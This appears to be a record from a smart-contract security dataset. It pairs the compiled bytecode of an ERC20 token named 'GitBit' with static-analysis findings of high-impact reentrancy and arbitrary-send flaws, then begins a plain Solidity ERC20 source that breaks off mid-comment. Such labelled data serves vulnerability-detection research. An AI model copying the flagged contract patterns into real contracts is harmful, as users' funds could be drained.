2b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600681526020017f4769744269740000000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f474954424954f09f94ae00000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550605a42610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60026009819055506012600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b60b44261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b602882111561236157601e9050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960028461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d6600a8461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206828dc4e0b70b148972f5cb05128e7463abb5ae1aacdeadac78e6f8e0a4587e464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,234
0x989fd1ed062e5a0598b97db9a0bd726456fcbdd6
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address _owner) public { owner = _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DetailedERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase 